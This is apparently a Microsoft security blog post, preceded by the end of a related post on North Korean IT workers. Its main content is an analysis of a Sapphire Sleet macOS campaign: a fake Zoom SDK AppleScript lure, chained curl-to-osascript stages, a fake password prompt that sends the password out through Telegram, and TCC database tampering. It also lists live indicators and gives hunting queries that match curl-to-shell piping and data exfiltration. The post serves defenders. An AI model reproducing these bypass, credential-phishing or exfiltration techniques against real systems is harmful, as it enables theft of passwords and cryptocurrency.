Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR customers can run the following queries to find related activity to any suspicious indicators in their networks:

Access to Workday Recruiting Web Service API by external users

let api_endpoint_regex = 'hrrecruiting/*';
CloudAppEvents
| where Application == 'Workday'
| where IsExternalUser
| where ActionType matches regex api_endpoint_regex
| where IPAddress in (<​suspiciousips>) or AccountId in (<​suspicious_emailids>);
| summarize make_set(ActionType) by AccountId, IPAddress, bin(Timestamp, 1d)

Emails and Teams communications related to interviews

//Email communications

EmailEvents 
| where SenderMailFromAddress == "<​suspicious_emailids>" or RecipientEmailAddress == "<​suspicious_emailids>"
| where Subject has "Interview"
| project Timestamp, SenderMailFromAddress, SenderDisplayName, SenderIPv4, SenderIPv6, RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation

EmailEvents 
| where SenderIPv4 == "<​suspiciousIPs>" or SenderIPv6 == "<​ suspiciousIPs>"
| where Subject has "Interview"
| project Timestamp, SenderMailFromAddress, SenderDisplayName, SenderIPv4, SenderIPv6, RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation

//Microsoft Teams communications

CloudAppEvents
| where Application == "Microsoft Teams"
| where IsExternalUser
| where AccountId == "<​suspicious_emailids>" or AccountDisplayName == "<​suspicious_emailids>"
| summarize make_set(ActionType) by IPAddress, AccountId, bin(Timestamp, 1d)

CloudAppEvents
| where Application == "Microsoft Teams"
| where IsExternalUser
| where IPAddress == "<​suspiciousIPs​>" 
| summarize make_set(ActionType) by IPAddress, AccountId, bin(Timestamp, 1d)

//Zoom or Cisco Webex communication events after enabling the Microsoft Defender for Cloud apps connectors

CloudAppEvents
| where Application == "Zoom"
| where IsExternalUser
| where IPAddress == "<​suspiciousIP​s>" 
| summarize make_set(ActionType) by IPAddress, AccountId, bin(Timestamp, 1d)

CloudAppEvents
| where Application == "Cisco Webex"
| where IsExternalUser
| where IPAddress == "<​suspiciousIPs​>"
| summarize make_set(ActionType) by IPAddress, AccountId, bin(Timestamp, 1d)

Hiring phase involving accessing and signing of agreements through DocuSign

CloudAppEvents
| where Application == "DocuSign"
| where IsExternalUser
| where ActionType == "ENVELOPE SIGNED"
| where IPAddress in ("<​suspiciousIPs>") or AccountId == "<​suspicious_emailids>"

New hire onboarding and payroll activities originating from known Jasper Sleet infrastructure

CloudAppEvents
| where Application == "Workday"
| where AccountId == "<​NewHireWorkdayId>"
| where ActionType has_any ("Add", "Change", "Assign", "Create", "Modify") and ActionType has_any ("Account", "Bank", "Payment", "Tax")
| where IPAddress in ("<​suspiciousIPs>")
| summarize make_set(ActionType) by IPAddress, bin(Timestamp, 1d)

References

• Jasper Sleet: North Korean remote IT workers’ evolving tactics to infiltrate organizations | Microsoft Security Blog
• AI as tradecraft: How threat actors operationalize AI | Microsoft Security Blog

This research is provided by Microsoft Defender Security Research with contributions from  members of Microsoft Threat Intelligence.

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Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Learn more about securing Copilot Studio agents with Microsoft Defender  
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The post Detection strategies across cloud and identities against infiltrating IT workers appeared first on Microsoft Security Blog.

Executive summary

Microsoft Threat Intelligence uncovered a macOS‑focused cyber campaign by the North Korean threat actor Sapphire Sleet that relies on social engineering rather than software vulnerabilities. By impersonating a legitimate software update, threat actors tricked users into manually running malicious files, allowing them to steal passwords, cryptocurrency assets, and personal data while avoiding built‑in macOS security checks. This activity highlights how convincing user prompts and trusted system tools can be abused, and why awareness and layered security defenses remain critical.

Microsoft Threat Intelligence identified a campaign by North Korean state actor Sapphire Sleet demonstrating new combinations of macOS-focused execution patterns and techniques, enabling the threat actor to compromise systems through social engineering rather than software exploitation. In this campaign, Sapphire Sleet takes advantage of user‑initiated execution to establish persistence, harvest credentials, and exfiltrate sensitive data while operating outside traditional macOS security enforcement boundaries. While the techniques themselves are not novel, this analysis highlights execution patterns and combinations that Microsoft has not previously observed for this threat actor, including how Sapphire Sleet orchestrates these techniques together and uses AppleScript as a dedicated, late‑stage credential‑harvesting component integrated with decoy update workflows.

After discovering the threat, Microsoft shared details of this activity with Apple as part of our responsible disclosure process. Apple has since implemented updates to help detect and block infrastructure and malware associated with this campaign. We thank the Apple security team for their collaboration in addressing this activity and encourage macOS users to keep their devices up to date with the latest security protections.

This activity demonstrates how threat actors continue to rely on user interaction and trusted system utilities to bypass macOS platform security protections, rather than exploiting traditional software vulnerabilities. By persuading users to manually execute AppleScript or Terminal‑based commands, Sapphire Sleet shifts execution into a user‑initiated context, allowing the activity to proceed outside of macOS protections such as Transparency, Consent, and Control (TCC), Gatekeeper, quarantine enforcement, and notarization checks. Sapphire Sleet achieves a highly reliable infection chain that lowers operational friction and increases the likelihood of successful compromise—posing an elevated risk to organizations and individuals involved in cryptocurrency, digital assets, finance, and similar high‑value targets that Sapphire Sleet is known to target.

In this blog, we examine the macOS‑specific attack chain observed in recent Sapphire Sleet intrusions, from initial access using malicious .scpt files through multi-stage payload delivery, credential harvesting using fake system dialogs, manipulation of the macOS TCC database, persistence using launch daemons, and large-scale data exfiltration. We also provide actionable guidance, Microsoft Defender detections, hunting queries, and indicators of compromise (IOCs) to help defenders identify similar threats and strengthen macOS security posture.

Sapphire Sleet’s campaign lifecycle

Initial access and social engineering

Sapphire Sleet is a North Korean state actor active since at least March 2020 that primarily targets the finance sector, including cryptocurrency, venture capital, and blockchain organizations. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet operates a well‑documented social engineering playbook in which the threat actor creates fake recruiter profiles on social media and professional networking platforms, engages targets in conversations about job opportunities, schedules a technical interview, and directs targets to install malicious software, which is typically disguised as a video conferencing tool or software developer kit (SDK) update.

In this observed activity, the target was directed to download a file called Zoom SDK Update.scpt—a compiled AppleScript that opens in macOS Script Editor by default. Script Editor is a trusted first-party Apple application capable of executing arbitrary shell commands using the do shell script AppleScript command.

Lure file and Script Editor execution

The malicious Zoom SDK Update.scpt file is crafted to appear as a legitimate Zoom SDK update when opened in the macOS Script Editor app, beginning with a large decoy comment block that mimics benign upgrade instructions and gives the impression of a routine software update. To conceal its true behavior, the script inserts thousands of blank lines immediately after this visible content, pushing the malicious logic far below the scrollable view of the Script Editor window and reducing the likelihood that a user will notice it.

Hidden beneath this decoy, the script first launches a harmless looking command that invokes the legitimate macOS softwareupdate binary with an invalid parameter, an action that performs no real update but launches a trusted Apple‑signed process to reinforce the appearance of legitimacy. Following this, the script executes its malicious payload by using curl to retrieve threat actor‑controlled content and immediately passes the returned data to osascript for execution using the run script result instruction. Because the content fetched by curl is itself a new AppleScript, it is launched directly within the Script Editor context, initiating a payload delivery in which additional stages are dynamically downloaded and executed.

Execution and payload delivery

Cascading curl-to-osascript execution

When the user opens the Zoom SDK Update.scpt file, macOS launches the file in Script Editor, allowing Sapphire Sleet to transition from a single lure file to a multi-stage, dynamically fetched payload chain. From this single process, the entire attack unfolds through a cascading chain of curl commands, each fetching and executing progressively more complex AppleScript payloads. Each stage uses a distinct user-agent string as a campaign tracking identifier.

The main payload fetched by the mac-cur1 user agent is the attack orchestrator. Once executed within the Script Editor, it performs immediate reconnaissance, then kicks off parallel operations using additional curl commands with different user-agent strings.

Note the URL path difference: mac-cur1 through mac-cur3 fetch from /version/ (AppleScript payloads piped directly to osascript for execution), while mac-cur4 and mac-cur5 fetch from /status/ (ZIP archives containing compiled macOS .app bundles).

The following table summarizes the curl chain used in this campaign.

Reconnaissance and C2 registration

After execution, the malware next identifies and registers the compromised device with Sapphire Sleet infrastructure. The malware starts by collecting basic system details such as the current user, host name, system time, and operating system install date. This information is used to uniquely identify the compromised device and track subsequent activity.

The malware then registers the compromised system with its command‑and‑control (C2) infrastructure. The mid value represents the device’s universally unique identifier (UUID), the did serves as a campaign‑level tracking identifier, and the user field combines the system host name with the device serial number to uniquely label the targeted user.

Host monitoring component: com.apple.cli

The first binary deployed is a host monitoring component called com.apple.cli—a ~5 MB Mach-O binary disguised with an Apple-style naming convention.

The mac-cur1 payload spawns an osascript that downloads and launches com.apple.cli:

The host monitoring component repeatedly executes a series of system commands to collect environment and runtime information, including the macOS version (sw_vers), the current system time (date -u), and the underlying hardware model (sysctl hw.model). It then runs ps aux in a tight loop to capture a full, real‑time list of running processes.

During execution, com.apple.cli performs host reconnaissance while maintaining repeated outbound connectivity to the threat actor‑controlled C2 endpoint 83.136.208[.]246:6783. The observed sequencing of reconnaissance activity and network communication is consistent with staging for later operational activity, including privilege escalation, and exfiltration.

In parallel with deploying com.apple.cli, the mac-cur1 orchestrator also deploys a second component, the services backdoor, as part of the same execution flow; its role in persistence and follow‑on activity is described later in this blog.

Credential access

Credential harvester: systemupdate.app

After performing reconnaissance, the mac-cur1 orchestrator begins parallel operations. During the mac‑cur2 stage of execution (independent from the mac-cur1 stage), Sapphire Sleet delivers an AppleScript payload that is executed through osascript. This stage is responsible for deploying the credential harvesting component of the attack.

Before proceeding, the script checks for the presence of a file named .zoom.log on the system. This file acts as an infection marker, allowing Sapphire Sleet to determine whether the device has already been compromised. If the marker exists, deployment is skipped to avoid redundant execution across sessions.

If the infection marker is not found, the script downloads a compressed archive through the mac-cur4 user agent that contains a malicious macOS application named (systemupdate.app), which masquerades as the legitimate system update utility by the same name. The archive is extracted to a temporary location, and the application is launched immediately.

When systemupdate.app launches, the user is presented with a native macOS password dialog that is visually indistinguishable from a legitimate system prompt. The dialog claims that the user’s password is required to complete a software update, prompting the user to enter their credentials.

After the user enters their password, the malware performs two sequential actions to ensure the credential is usable and immediately captured. First, the binary validates the entered password against the local macOS authentication database using directory services, confirming that the credential is correct and not mistyped. Once validation succeeds, the verified password is immediately exfiltrated to threat actor‑controlled infrastructure using the Telegram Bot API, delivering the stolen credential directly to Sapphire Sleet.

Decoy completion prompt: softwareupdate.app

After credential harvesting is completed using systemupdate.app, Sapphire Sleet deploys a second malicious application named softwareupdate.app, whose sole purpose is to reinforce the illusion of a legitimate update workflow. This application is delivered during a later stage of the attack using the mac‑cur5 user‑agent. Unlike systemupdate.app, softwareupdate.app does not attempt to collect credentials. Instead, it displays a convincing “system update complete” dialog to the user, signaling that the supposed Zoom SDK update has finished successfully. This final step closes the social engineering loop: the user initiated a Zoom‑themed update, was prompted to enter their password, and is now reassured that the process completed as expected, reducing the likelihood of suspicion or further investigation.

Persistence

Primary backdoor and persistence installer: services binary

The services backdoor is a key operational component in this attack, acting as the primary backdoor and persistence installer. It provides an interactive command execution channel, establishes persistence using a launch daemon, and deploys two additional backdoors. The services backdoor is deployed through a dedicated AppleScript executed as part of the initial mac‑cur1 payload that also deployed com.apple.cli, although the additional backdoors deployed by services are executed at a later stage.

During deployment, the services backdoor binary is first downloaded using a hidden file name (.services) to reduce visibility, then copied to its final location before the temporary file is removed. As part of installation, the malware creates a file named auth.db under ~/Library/Application Support/Authorization/, which stores the path to the deployed services backdoor and serves as a persistent installation marker. Any execution or runtime errors encountered during this process are written to /tmp/lg4err, leaving behind an additional forensic artifact that can aid post‑compromise investigation.

Unlike com.apple.cli, the services backdoor uses interactive zsh shells (/bin/zsh -i) to execute privileged operations. The -i flag creates an interactive terminal context, which is required for sudo commands that expect interactive input.

Additional backdoors: icloudz and com.google.chromes.updaters

Of the additional backdoors deployed by services, the icloudz backdoor is a renamed copy of the previously deployed services backdoor and shares the same SHA‑256 hash, indicating identical underlying code. Despite this, it is executed using a different and more evasive technique. Although icloudz shares the same binary as .services, it operates as a reflective code loader—it uses the macOS NSCreateObjectFileImageFromMemory API to load additional payloads received from its C2 infrastructure directly into memory, rather than writing them to disk and executing them conventionally.

The icloudz backdoor is stored at ~/Library/Application Support/iCloud/icloudz, a location and naming choice intended to resemble legitimate iCloud‑related artifacts. Once loaded into memory, two distinct execution waves are observed. Each wave independently initializes a consistent sequence of system commands: existing caffeinate processes are stopped, caffeinate is relaunched using nohup to prevent the system from sleeping, basic system information is collected using sw_vers and sysctl -n hw.model, and an interactive /bin/zsh -i shell is spawned. This repeated initialization suggests that the component is designed to re‑establish execution context reliably across runs.

From within the interactive zsh shell, icloudz deploys an additional (tertiary) backdoor, com.google.chromes.updaters, to disk at ~/Library/Google/com.google.chromes.updaters. The selected directory and file name closely resemble legitimate Google application data, helping the file blend into the user’s Home directory and reducing the likelihood of casual inspection. File permissions are adjusted; ownership is set to allow execution with elevated privileges, and the com.google.chromes.updaters binary is launched using sudo.

To ensure continued execution across reboots, a launch daemon configuration file named com.google.webkit.service.plist is installed under /Library/LaunchDaemons. This configuration causes icloudz to launch automatically at system startup, even if no user is signed in. The naming convention deliberately mimics legitimate Apple and Google system services, further reducing the chance of detection.

The com.google.chromes.updaters backdoor is the final and largest component deployed in this attack chain, with a size of approximately 7.2 MB. Once running, it establishes outbound communication with threat actor‑controlled infrastructure, connecting to the domain check02id[.]com over port 5202. The process then enters a precise 60‑second beaconing loop. During each cycle, it executes minimal commands such as whoami to confirm the execution context and sw_vers -productVersion to report the operating system version. This lightweight heartbeat confirms the process remains active, is running with elevated privileges, and is ready to receive further instructions.

Privilege escalation

TCC bypass: Granting AppleEvents permissions

Before large‑scale data access and exfiltration can proceed, Sapphire Sleet must bypass macOS TCC protections. TCC enforces user consent for sensitive inter‑process interactions, including AppleEvents, the mechanism required for osascript to communicate with Finder and perform file-level operations. The mac-cur3 stage silently grants itself these permissions by directly manipulating the user-level TCC database through the following sequence.

The user-level TCC database (~/Library/Application Support/com.apple.TCC/TCC.db) is itself TCC-protected—processes without Full Disk Access (FDA) cannot read or modify it. Sapphire Sleet circumvents this by directing Finder, which holds FDA by default on macOS,  to rename the com.apple.TCC folder. Once renamed, the TCC database file can be copied to a staging location by a process without FDA.

Sapphire Sleet then uses sqlite3 to inject a new entry into the database’s access table. This entry grants /usr/bin/osascript permission to send AppleEvents to com.apple.finder and includes valid code-signing requirement (csreq) blobs for both binaries, binding the grant to Apple-signed executables. The authorization value is set to allowed (auth_value=2) with a user-set reason (auth_reason=3), ensuring no user prompt is triggered. The modified database is then copied back into the renamed folder, and Finder restores the folder to its original name. Staging files are deleted to reduce forensic traces.

Collection and exfiltration

With TCC bypassed, credentials stolen, and backdoors deployed, Sapphire Sleet launches the next phase of attack: a 575-line AppleScript payload that systematically collects, stages, compresses, and exfiltrates seven categories of data.

Exfiltration architecture

Every upload follows a consistent pattern and is executed using nohup, which allows the command to continue running in the background even if the initiating process or Terminal session exits. This ensures that data exfiltration can complete reliably without requiring the threat actor to maintain an active session on the system.

The auth header provides the upload authorization token, and the mid header ties the upload to the compromised device’s UUID.

Data collected during exfiltration

• Host and system reconnaissance: Before bulk data collection begins, the script records basic system identity and hardware information. This includes the current username, system host name, macOS version, and CPU model. These values are appended to a per‑host log file and provide Sapphire Sleet with environmental context, hardware fingerprinting, and confirmation of the target system’s characteristics. This reconnaissance data is later uploaded to track progress and correlate subsequent exfiltration stages to a specific device.
• Installed applications and runtime verification: The script enumerates installed applications and shared directories to build an inventory of the system’s software environment. It also captures a live process listing filtered for threat actor‑deployed components, allowing Sapphire Sleet to verify that earlier payloads are still running as expected. These checks help confirm successful execution and persistence before proceeding further.
• Messaging session data (Telegram): Telegram Desktop session data is collected by copying the application’s data directories, including cryptographic key material and session mapping files. These artifacts are sufficient to recreate the user’s Telegram session on another system without requiring reauthentication. A second collection pass targets the Telegram App Group container to capture the complete local data set associated with the application.
• Browser data and extension storage: For Chromium‑based browsers, including Chrome, Brave, and Arc, the script copies browser profiles and associated databases. This includes saved credentials, cookies, autofill data, browsing history, bookmarks, and extension‑specific storage. Particular focus is placed on IndexedDB entries associated with cryptocurrency wallet extensions, where wallet keys and transaction data are stored. Only IndexedDB entries matching a targeted set of wallet extension identifiers are collected, reflecting a deliberate and selective approach.
• macOS keychain: The user’s sign-in keychain database is bundled alongside browser data. Although the keychain is encrypted, Sapphire Sleet has already captured the user’s password earlier in the attack chain, enabling offline decryption of stored secrets once exfiltrated.
• Cryptocurrency desktop wallets: The script copies the full application support directories for popular cryptocurrency desktop wallets, including Ledger Live and Exodus. These directories contain wallet configuration files and key material required to access stored cryptocurrency assets, making them high‑value targets for exfiltration.
• SSH keys and shell history: SSH key directories and shell history files are collected to enable potential lateral movement and intelligence gathering. SSH keys may provide access to additional systems, while shell history can reveal infrastructure details, previously accessed hosts, and operational habits of the targeted user.
• Apple Notes: The Apple Notes database is copied from its application container and staged for upload. Notes frequently contain sensitive information such as passwords, internal documentation, infrastructure details, or meeting notes, making them a valuable secondary data source.
• System logs and failed access attempts: System log files are uploaded directly without compression. These logs provide additional hardware and execution context and include progress markers that indicate which exfiltration stages have completed. Failed collection attempts—such as access to password manager containers that are not present on the system—are also recorded and uploaded, allowing Sapphire Sleet to understand which targets were unavailable on the compromised host.

Exfiltration summary

All uploads use the upload authorization token fwyan48umt1vimwqcqvhdd9u72a7qysi and the machine identifier 82cf5d92-87b5-4144-9a4e-6b58b714d599.

Defending against Sapphire Sleet intrusion activity

As part of a coordinated response to this activity, Apple has implemented platform-level protections to help detect and block infrastructure and malware associated with this campaign. Apple has deployed Apple Safe Browsing protections in Safari to detect and block malicious infrastructure associated with this campaign. Users browsing with Safari benefit from these protections by default. Apple has also deployed XProtect signatures to detect and block the malware families associated with this campaign—macOS devices receive these signature updates automatically.

Microsoft recommends the following mitigation steps to defend against this activity and reduce the impact of this threat:

• Educate users about social engineering threats originating from social media and external platforms, particularly unsolicited outreach requesting software downloads, virtual meeting tool installations, or execution of terminal commands. Users should never run scripts or commands shared through messages, calls, or chats without prior approval from their IT or security teams.
• Block or restrict the execution of .scpt (compiled AppleScript) files and unsigned Mach-O binaries downloaded from the internet. Where feasible, enforce policies that prevent osascript from executing scripts sourced from external locations.
• Always inspect and verify files downloaded from external sources, including compiled AppleScript (.scpt) files. These files can execute arbitrary shell commands via macOS Script Editor—a trusted first-party Apple application—making them an effective and stealthy initial access vector.
• Limit or audit the use of curl piped to interpreters (such as curl | osascript, curl | sh, curl | bash). Social engineering campaigns by Sapphire Sleet rely on cascading curl-to-interpreter chains to avoid writing payloads to disk. Organizations should monitor for and restrict piped execution patterns originating from non-standard user-agent strings.
• Exercise caution when copying and pasting sensitive data such as wallet addresses or credentials from the clipboard. Always verify that the pasted content matches the intended source to avoid falling victim to clipboard hijacking or data tampering attacks.
• Monitor for unauthorized modifications to the macOS TCC database. This campaign manipulates TCC.db to grant AppleEvents permissions to osascript without user consent—a prerequisite for the large-scale data exfiltration phase. Look for processes copying, modifying, or overwriting ~/Library/Application Support/com.apple.TCC/TCC.db.
• Audit LaunchDaemon and LaunchAgent installations. This campaign installs a persistent launch daemon (com.google.webkit.service.plist) that masquerades as a legitimate Google or Apple service. Monitor /Library/LaunchDaemons/ and ~/Library/LaunchAgents/ for unexpected plist files, particularly those with com.google.* or com.apple.* naming conventions not belonging to genuine vendor software.
• Protect cryptocurrency wallets and browser credential stores. This campaign targets nine specific crypto wallet extensions (Sui, Phantom, TronLink, Coinbase, OKX, Solflare, Rabby, Backpack) plus Bitwarden, and exfiltrates browser sign-in data, cookies, and keychain databases. Organizations handling digital assets should enforce hardware wallet policies and rotate browser-stored credentials regularly.
• Encourage users to use web browsers that support Microsoft Defender SmartScreen like Microsoft Edge—available on macOS and various platforms—which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.

Microsoft Defender for Endpoint customers can also apply the following mitigations to reduce the environmental attack surface and mitigate the impact of this threat and its payloads:

• Use Microsoft Defender for Endpoint on Mac, which detects, stops, and quarantines the malware discussed in this blog.
• Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
• Enable potentially unwanted application (PUA) protection in block mode to automatically quarantine PUAs like adware. PUA blocking takes effect on endpoint clients after the next signature update or computer restart.
• Turn on network protection to block connections to malicious domains and IP addresses.

Microsoft Defender detection and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Actor Profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Suspicious osascript execution with curl piping

Search for curl commands piping output directly to osascript, a core technique in this Sapphire Sleet campaign’s cascading payload delivery chain.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "osascript" or InitiatingProcessFileName == "osascript"
 | where ProcessCommandLine has "curl" and ProcessCommandLine has_any ("osascript", "| sh", "| bash")
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessFileName

Suspicious curl activity with campaign user-agent strings

Search for curl commands using user-agent strings matching the Sapphire Sleet campaign tracking identifiers (mac-cur1 through mac-cur5, audio, beacon).

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "curl" or ProcessCommandLine has "curl"
 | where ProcessCommandLine has_any ("mac-cur1", "mac-cur2", "mac-cur3", "mac-cur4", "mac-cur5", "-A audio", "-A beacon")
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Detect connectivity with known C2 infrastructure

Search for network connections to the Sapphire Sleet C2 domains and IP addresses used in this campaign.

let c2_domains = dynamic(["uw04webzoom.us", "uw05webzoom.us", "uw03webzoom.us", "ur01webzoom.us", "uv01webzoom.us", "uv03webzoom.us", "uv04webzoom.us", "ux06webzoom.us", "check02id.com"]);
 let c2_ips = dynamic(["188.227.196.252", "83.136.208.246", "83.136.209.22", "83.136.208.48", "83.136.210.180", "104.145.210.107"]);
 DeviceNetworkEvents
 | where Timestamp > ago(30d)
 | where RemoteUrl has_any (c2_domains) or RemoteIP in (c2_ips)
 | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine

TCC database manipulation detection

Search for processes that copy, modify, or overwrite the macOS TCC database, a key defense evasion technique used by this campaign to grant unauthorized AppleEvents permissions.

DeviceFileEvents
 | where Timestamp > ago(30d)
 | where FolderPath has "com.apple.TCC" and FileName == "TCC.db"
 | where ActionType in ("FileCreated", "FileModified", "FileRenamed")
 | project Timestamp, DeviceId, DeviceName, ActionType, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine

Suspicious LaunchDaemon creation masquerading as legitimate services

Search for LaunchDaemon plist files created in /Library/LaunchDaemons that masquerade as Google or Apple services, matching the persistence technique used by the services/icloudz backdoor.

DeviceFileEvents
 | where Timestamp > ago(30d)
 | where FolderPath startswith "/Library/LaunchDaemons/"
 | where FileName startswith "com.google." or FileName startswith "com.apple."
 | where ActionType == "FileCreated"
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256

Malicious binary execution from suspicious paths

Search for execution of binaries from paths commonly used by Sapphire Sleet, including hidden Library directories, /private/tmp/, and user-specific Application Support folders.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FolderPath has_any (
     "Library/Services/services",
     "Application Support/iCloud/icloudz",
     "Library/Google/com.google.chromes.updaters",
     "/private/tmp/SystemUpdate/",
     "/private/tmp/SoftwareUpdate/",
     "com.apple.cli"
 )
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, ProcessCommandLine, AccountName, SHA256

Credential harvesting using dscl authentication check

Search for dscl -authonly commands used by the fake password dialog (systemupdate.app) to validate stolen credentials before exfiltration.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "dscl" or ProcessCommandLine has "dscl"
 | where ProcessCommandLine has "-authonly"
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Telegram Bot API exfiltration detection

Search for network connections to Telegram Bot API endpoints, used by this campaign to exfiltrate stolen credentials.

DeviceNetworkEvents
 | where Timestamp > ago(30d)
 | where RemoteUrl has "api.telegram.org" and RemoteUrl has "/bot"
 | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine

Reflective code loading using NSCreateObjectFileImageFromMemory

Search for evidence of reflective Mach-O loading, the technique used by the icloudz backdoor to execute code in memory.

DeviceEvents
 | where Timestamp > ago(30d)
 | where ActionType has "NSCreateObjectFileImageFromMemory"
     or AdditionalFields has "NSCreateObjectFileImageFromMemory"
 | project Timestamp, DeviceId, DeviceName, ActionType, FileName, FolderPath, InitiatingProcessFileName, AdditionalFields

Suspicious caffeinate and sleep prevention activity

Search for caffeinate process stop-and-restart patterns used by the services and icloudz backdoors to prevent the system from sleeping during backdoor operations.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where ProcessCommandLine has "caffeinate"
 | where InitiatingProcessCommandLine has_any ("icloudz", "services", "chromes.updaters", "zsh -i")
 | project Timestamp, DeviceId, DeviceName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Detect known malicious file hashes

Search for the specific malicious file hashes associated with this Sapphire Sleet campaign across file events.

let malicious_hashes = dynamic([
     "2075fd1a1362d188290910a8c55cf30c11ed5955c04af410c481410f538da419",
     "05e1761b535537287e7b72d103a29c4453742725600f59a34a4831eafc0b8e53",
     "5fbbca2d72840feb86b6ef8a1abb4fe2f225d84228a714391673be2719c73ac7",
     "5e581f22f56883ee13358f73fabab00fcf9313a053210eb12ac18e66098346e5",
     "95e893e7cdde19d7d16ff5a5074d0b369abd31c1a30962656133caa8153e8d63",
     "8fd5b8db10458ace7e4ed335eb0c66527e1928ad87a3c688595804f72b205e8c",
     "a05400000843fbad6b28d2b76fc201c3d415a72d88d8dc548fafd8bae073c640"
 ]);
 DeviceFileEvents
 | where Timestamp > ago(30d)
 | where SHA256 in (malicious_hashes)
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, SHA256, ActionType, InitiatingProcessFileName, InitiatingProcessCommandLine

Data staging and exfiltration activity

Search for ZIP archive creation in /tmp/ directories followed by curl uploads matching the staging-and-exfiltration pattern used for browser data, crypto wallets, Telegram sessions, SSH keys, and Apple Notes.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where (ProcessCommandLine has "zip" and ProcessCommandLine has "/tmp/")
     or (ProcessCommandLine has "curl" and ProcessCommandLine has_any ("tapp_", "ext_", "ldg_", "exds_", "hs_", "nt_", "lg_"))
 | project Timestamp, DeviceId, DeviceName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Script Editor launching suspicious child processes

Search for Script Editor (the default handler for .scpt files) spawning curl, osascript, or shell commands—the initial execution vector in this campaign.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where InitiatingProcessFileName == "Script Editor" or InitiatingProcessCommandLine has "Script Editor"
 | where FileName has_any ("curl", "osascript", "sh", "bash", "zsh")
 | project Timestamp, DeviceId, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect network indicators of compromise

The following query checks for connections to the Sapphire Sleet C2 domains and IP addresses across network session data:

let lookback = 30d;
 let ioc_domains = dynamic(["uw04webzoom.us", "uw05webzoom.us", "uw03webzoom.us", "ur01webzoom.us", "uv01webzoom.us", "uv03webzoom.us", "uv04webzoom.us", "ux06webzoom.us", "check02id.com"]);
 let ioc_ips = dynamic(["188.227.196.252", "83.136.208.246", "83.136.209.22", "83.136.208.48", "83.136.210.180", "104.145.210.107"]);
 DeviceNetworkEvents
 | where TimeGenerated > ago(lookback)
 | where RemoteUrl has_any (ioc_domains) or RemoteIP in (ioc_ips)
 | summarize EventCount=count() by DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName

Detect file hash indicators of compromise

The following query searches for the known malicious file hashes associated with this campaign across file, process, and security event data:

let selectedTimestamp = datetime(2026-01-01T00:00:00.0000000Z);
 let FileSHA256 = dynamic([
     "2075fd1a1362d188290910a8c55cf30c11ed5955c04af410c481410f538da419",
     "05e1761b535537287e7b72d103a29c4453742725600f59a34a4831eafc0b8e53",
     "5fbbca2d72840feb86b6ef8a1abb4fe2f225d84228a714391673be2719c73ac7",
     "5e581f22f56883ee13358f73fabab00fcf9313a053210eb12ac18e66098346e5",
